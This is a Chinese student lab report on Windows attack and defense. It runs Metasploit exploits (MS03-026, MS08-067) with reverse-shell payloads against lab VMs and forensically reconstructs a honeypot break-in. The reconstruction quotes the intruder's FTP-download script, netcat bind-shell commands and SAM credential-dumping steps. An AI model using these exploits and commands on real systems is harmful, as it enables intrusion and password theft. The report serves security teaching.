Windows操作系统攻击实践及其原理
0.总体结构
本次作业属于哪个课程 | 网络攻防实践 |
---|---|
这个作业要求在哪里 | Windows操作系统安全攻防 |
我在这个课程的目标是 | 学习网络攻防相关技术和原理 |
这个作业在哪个具体方面帮助我实现目标 | 学习Windows系统网络攻防的知识和体系 |
1.实践内容
第七章的主要内容是Windows操作系统的安全攻防技术,Windows系统以其超高的市场占有率导致其占领网络攻防领域的核心地位。本文先简单介绍Windows操作系统基本框架,然后介绍了Windows操作系统的安全体系结构和机制,最后从远程安全攻防技术和本地安全攻防技术对Windows系统的攻防进行彻底的介绍。
- Windows操作系统基本框架概述
- Windows操作系统安全体系结构与机制
- Windows系统远程安全攻防技术
- Windows系统本地安全攻防技术
Windows操作系统基本框架概述
-
Windows基本结构分为运行于处理器特权模式的操作系统内核以及运行在处理器非特权模式的用户,即为内核态和用户态。具体内容参考Windows系统结构。
- 内核态:Windows执行体(基本系统服务)、Windows内核(如线程调度等)体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口。
- 用户态:系统支持进程、环境子系统服务进程(环境是指系统展示给用户的个性化部分)、服务进程、用户应用软件、核心子系统DLL。
-
Windows进程和线程管理机制:进程拥有一个进程描述符,描述一些地址空间和打开的文件等共享资源,进程中包含指向不同线程的指针,这些线程没有进程描述符,只描述一些少量的独有的资源,线程共享进程的资源。
-
Windows内存管理机制:分为系统核心内存区间(内核执行模块)和用户内存区间(用户程序执行模块)。
-
Windows文件管理机制:NTFS文件管理系统、可执行采用PE格式,主要由Dos头、PE头、分段表、以及具体的代码段和数据段组成。
-
Windows注册表管理机制:Windows注册表在系统的全局配置、用户和应用软件配置信息担任重要的角色。
-
Windows网络管理机制
- 网络应用层:用户态的应用程序调用Windows操作系统提供的网络API。
- TDI客户端,传输驱动程序接口客户,是内核模式的设备驱动程序,用于实现网络API的内核部分。
- 协议驱动程序:TDI Transport Providers、TDI传输、NDIS协议驱动程序、所有这些其实就是指的同一个东西,这个部分就是对某个协议的具体实现部分。
- NDIS,网络协议接口标准。
- 硬件网卡部分
Windows操作系统安全体系结构与机制
- 安全体系结构:
- 监控器模型:主体到客体的访问都通过监控器作为中间,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录都由监控器生成审计日志。
- 核心:SRM安全引用监控器(内核中)、LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog。
- 身份认证机制:
- 安全主体:用户、用户组、计算机。
- 身份认证:本地身份认证(winlogon进程、GINA图形化登录窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)。
- 授权与访问控制机制:引用监控器模型,由SRM(内核态)和LSASS(用户态)共同完成。
- 对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。
- 属性组成:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。
- 安全审计机制:LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。
- 其他安全机制:安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。
Windows远程安全攻防技术
-
类别:主要分为远程口令猜解攻击、Windows网络服务攻击、Windows客户端和用户攻击。
-
远程口令猜解攻击:
- 服务:SMB协议,其他包括WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。
- 工具:Legion、enum、smbgrind、NTScan、XScan、流光。
- 窃听与破解:NTLM、Lanman、NTLMV2和kerberos网络认证协议的弱点。
- 防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。
-
网络服务远程渗透攻击:
- 针对NETBIOS服务的攻击(Windows局域网联网的基本支持)。
- 针对SMB服务的攻击。
- 针对MSRPC服务的攻击(远程过程调用)。
- 针对Windows系统上微软网络的远程渗透攻击。
- 针对Windows系统上第三方服务的远程渗透攻击。
- 防范措施:软件设计本身、尽快的更新漏洞、安装增强插件、启用入侵检测工具等。
-
Metasploit渗透测试:
- 基础库文件:包括Rex,framework-core和framework-base三部分。
- 模块:辅助模块、渗透攻击模块(主动、被动)、攻击载荷模块(在渗透攻击成功后促使目标系统运行)、空指令模块、编码器模块、后渗透模块(获取敏感信息)。
- 指令介绍,具体内容参考Metasploit基本介绍
指令 | 含义 |
---|---|
show exploit |
列出metasploit框架中的所有渗透攻击模块 |
set function |
设置特定的配置参数 |
exploit |
执行渗透攻击或模块来攻击目标 |
db_create name |
创建一个数据库驱动攻击所要使用的数据库 |
run scriptname |
运行meterpreter脚本,在scripts/meterpreter 目录下可查看 |
LHOST |
目标主机链接的IP地址 |
RHOST |
远程主机或者目标主机 |
Windows本地安全攻防技术
- 本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞。
- 敏感信息窃取:
- Windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文)。
- Windows系统口令字破解技术(L0phtCrack、John the Ripper、Cain)。
- 防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。
- Windows消踪灭迹:
- 方法:关闭审计功能、清理事件日志。
- 防范:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。
- 远程控制和后门程序:向受控主机中植入第三方的远程控制与后门程序。
- 工具:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)。
- 后门程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)。
- 防范措施:后门检测软件、杀软、rootkitrerealer、IcSword。
2.实践过程
实践一:Metasploit Windows Attacker
任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
Solution
说明:这里我们以Kali作为攻击机进行攻击,IP地址为192.168.3.19
,我们以Win2kServer作为靶机,IP地址为192.168.3.33
。
-
如果之前没有安装Win2kServer,这里请安装,具体安装内容可以参考启龙的博客。
-
由于MS08-067漏洞攻击存在问题,这里攻击MS03-026漏洞(补充:MS08-067漏洞攻击也没有问题,得室友提醒,只是不输出,随便输点东西就好了)。首先在kali中输入
msfconsole
进入Metasploit(如果出现进不去的情况,请先执行sudo apt-get install metasploit-framework
)。 -
use exploit/windows/dcerpc/ms03_026_dcom
表示使用MS03-026作为我们攻击的目标漏洞。 -
通过命令
set PAYLOAD windows/meterpreter/reverse_tcp
设置打开反向连接的载荷。载荷分为single、stager、stage三种,payload是用来实际做什么事的代码,exploit是传送系统(show payloads
会显示出有效的攻击载荷)。 -
使用
set LHOST 192.168.3.19
表示设置攻击机IP地址,使用set RHOST 192.168.3.3
表示设置靶机IP地址。 -
使用
exploit
开始攻击。 -
返回
meterpreter
表示攻击成功,我们运行shell
指令,来开启靶机的shell,并用ipconfig
来来查看shell是否正确执行(可能会出现连不上的情况,可能时不稳定造成的)。后面的实践包括下载后门程序、执行后门程序、修改注册表、隐藏后门程序等,由于未提供文件,本文不再叙述。
实践二:取证分析实践:解码一次成功的NT系统破解攻击
任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),回答下列问题。
- 攻击者使用了什么破解工具进行攻击?
- 攻击者如何使用这个破解工具进入并控制了系统?
- 攻击者获得系统访问权限后做了什么?
- 我们如何防止这样的攻击?
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
问题一:攻击者使用了什么破解工具进行攻击?
-
首先我们可以先去了解下Windows NT操作系统的常见漏洞,了解了之后应该会好做很多。参考知已知彼Windows系统常见漏洞分析(不再赘述各种漏洞了),了解了之后用Wireshark打开数据包应该就能发现一些问题了。
-
首先根据题目筛选下
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
,可以发现攻击者一开始进行了HTTP访问。在这里也可以看到客户端的操作系统等内容。 -
接下来我们继续找到编号117,发现攻击者打开了系统启动文件
boot.ini
,同时%C0%AF
字符,%C0%AF
为/
的Unicode编码,如果了解了上面的Unicode编码攻击,这里很容易看出来这是这类攻击。 -
随后我们观察到编号130和编号140中含有
msadc
,很明显,这是进行探测的过程,随后在编号149,通过追踪tcp流,发现这是一个SQL注入攻击,你可以看圈出来的文本,很明显这是数据库操作(select * from customers where
)。执行的命令是cmd /c echo werd >> c:fun
。所以确定这是一次基于MSADCS RDS的漏洞攻击。 -
我们不难发现
ADM!ROX!YOUR!WORLD
字符串出现的频率很高,通过下面的查询,我们发现这是一个名为msadc2.pl工具发起的攻击,同时也给出了具体的使用参数perl msacs2.pl -h www.victim.com
。
问题二:攻击者如何使用这个破解工具进入并控制了系统?
-
接下里去掉筛选条件,继续往下看,从会话
1778-80
开始,我们通过追踪TCP流,发现其指令为cmd /c echo user johna2k > ftpcom
,跟随这个数据包继续往下查找,依次可以看到下列的指令。
cmd /c echo hacker2000 > ftpcom
cmd /c echo get samdump.dll > ftpcom
cmd /c echo get pdump.exe > ftpcom
cmd /c echo get nc.exe > ftpcom
cmd /c ftp -s:ftpcom -n www.nether.net
-
解释下上述指令,攻击者首先创建了一个ftpcom脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。继续查看会话
1791-80
之后出现了ftp的连接,目标IP为204.42.253.18
。通过追踪TCP流发现,这个连接由于口令错误导致连接失败。说明这次攻击是一个失败的攻击。 -
攻击者肯定不会这么轻易放弃,但是我们分析可以投机取巧了,因为攻击者每次都需要进行ftp下载所需要的攻击的工具,那么我们直接筛选ftp连接,找到成功的ftp连接就好。直到编号1106,我们发现此时才是连接成功的,前面竟然错了好几次。并且我们发现此时的ftp服务器IP竟然是攻击者自己的IP。
-
接下来我们就找这个ftp连接之前,攻击者发送了什么指令吧。通过观察,可以发现这次的攻击竟然不是RDS攻击,而是Unicode漏洞攻击。通过追踪TCP流,发现攻击者发送了以下指令。
copy C:winntsystem32cmd.exe cmd1.exe
cmd1.exe /c open 213.116.251.162 >ftpcom
cmd1.exe /c echo johna2k >>ftpcom
cmd1.exe /c echo haxedj00 >>ftpcom
cmd1.exe /c echo get nc.exe >>ftpcom
cmd1.exe /c echo get pdump.exe >>ftpcom
cmd1.exe /c echo get samdump.dll >>ftpcom
cmd1.exe /c echo quit >>ftpcom
-
继续看看攻击者再ftp服务结束之后做了什么吧,不难发现,在下载完文件之后,攻击者执行了这样一条命令:
cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻击者连接了6969端口,并且获得了访问权限。至此,攻击者完成了进入系统并且获得访问权的过程。
问题三:攻击者获得系统访问权限后做了什么?
-
首先我们用条件
tcp.port == 6969
筛选一下,然后追踪一下TCP流来发现攻击者的行为(吐槽一句,攻击者好多错误指令!!!!!)。 -
由于涉及的内容众多,这里挑重要的进行分析,后面的分析没有答案详尽,主要是我自己的思路。
-
尝试攻击者尝试信息收集,
net session
(列出会话),但是没有权限,然后执行net users
, 返回该主机的用户列表。 -
接下来攻击者发了一个echo消息到C盘根目录文件
README.NOW.Hax0r
。 -
继续,尝试通过
net group
查看组用户、net localgroup
查看本地组用户、以及net group domain admins
,不幸的是,这些都失败了。 -
接下来,攻击者开始寻找msadc目录,我们发现作者开始执行
pdump
来破解出口令密文,但是还是以失败告终。 -
终于,攻击者放弃了
pdump
提取Administrator
口令密文的企图。攻击者删除了samdump
和pdump
。 -
攻击者转而使用
rdisk
尝试获得SAM
口令文件(安全账号管理器),rdisk
是磁盘修复程序,执行rdisk /s-
(攻击者输了多次才找到正确的)备份关键系统信息,在/repair
目录中就会创建一个名为sam._
的SAM
压缩拷贝。并且攻击者把这个文件拷贝到har.txt
并打印。 -
但是到此攻击者还没有结束其行为,端口
6969
大约在编号3600数据包结束。但是后面还有接近一半的数据包是干嘛呢,我们继续往下看。我们发现攻击者在会话1987->80
进行了Unicode攻击,并且重新建立了一个端口6968(之前的6969端口连接失败了),执行指令为nc -l -p 6968 -e cmd1.exe
。 -
接下来我们继续设置筛选条件
tcp.port == 6968
,通过追踪TCP流发现攻击者首先将SAM文件拷贝至IIS的根目录 inetpub,攻击者获取该文件后,尝试删除,但因为锁定没有成功。攻击者很奇怪的把其他盘符看了一遍之后,退出了这个shell
连接。 -
到这里我们发现还没有结束,数据包编号才到了大约4100的位置,我们继续往下看。我们发现攻击者在会话
2007->80
进行了Unicode攻击,并且重新建立了一个端口6868
,执行指令为nc -l -p 6868 -e cmd1.exe
。但是至此开始,可以发现,攻击者的IP地址变成了202.85.60.156
(不知道为啥)。 -
可以发现攻击者创建了一个test.txt文件,内容为
This can't be true
,并echo . >> default.htm
篡改了首页。随后exit退出了当前的shell,然后跟随这个数据包往下,我们可以发现有很多其他的IP地址访问了新创建的test.txt文件。 -
顺着最后
Exit
的数据包往下,我们可以看到很多ftp服务,通过追踪流不难发现,攻击者应该是上传了得到的whisker.tar.gz
文件,ftp服务结束,发现攻击者继续进行了一个Unicode攻击,指令为del ftpcom
,也就是删除了ftpcom脚本文件,攻击者这一步是为了清除痕迹。到此,整个攻击也就结束了。
问题四:我们如何防止这样的攻击?
- 及时修补漏洞,对漏洞打上相应的补丁。
- 禁用用不着的 RDS 等服务。
- 防火墙封禁网络内部服务器发起的连接。
- 为 web server 在单独的文件卷上设置虚拟根目录。
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server。
问题五:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
很明显,攻击者发现了这是一台蜜罐主机,这是攻击者攻击者留下的信息。
团队对抗实践:Windows系统远程渗透攻击和分析
任务:
- 攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。
- 防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。
-
具体的攻击内容和实践一是一样,由于之前的实践一我没有选择
MS08-067
漏洞,这里选择MS08-067
进行攻击,基本指令都是相同的。主要包括use exploit/windows/smb/ms08_067_netapi
、set PAYLOAD generic/shell_reverse_tcp
、set RHOST IP
、set LHOST IP
,在此开启wireshark进行监听,输入exploit
进行攻击。 -
我们发现攻击机向靶机发了许多SMB数据包,而
MS08-067
漏洞是通过MSRPC over SMB
通道调用Server服务程序中的NetPathCanonicalize
函数时触发的。 -
同时我们可以发现攻击机IP地址为
192.168.3.19
,防守方IP地址为192.168.3.33
,防守方端口为445号。 -
在攻击机输入
ipconfig
指令,在Wireshark捕获查看。
2.学习中遇到的问题及解决
- 问题一:成功利用漏洞进入了系统之后想进行后门的设置,以及进一步的操作,可是找不到那些文件。
- 问题一解决方案:只找到了nc.exe,bat批处理文件可以自己写,但是root.exe没有找到。
- 问题二:分析不彻底。
- 问题二解决方案:这次的分析干扰项还是很多的,而基础也不是很好,所以存在一些不足。
3.学习感悟、思考
- 这次实验的整体内容让我们对Windows的攻防有了基本的了解,能够进行一些简单的漏洞攻击,可是貌似没有防守的知识。
- 面对分析的内容仍然存在巨大的不足,拿到一些数据包有点不知道从哪里下手。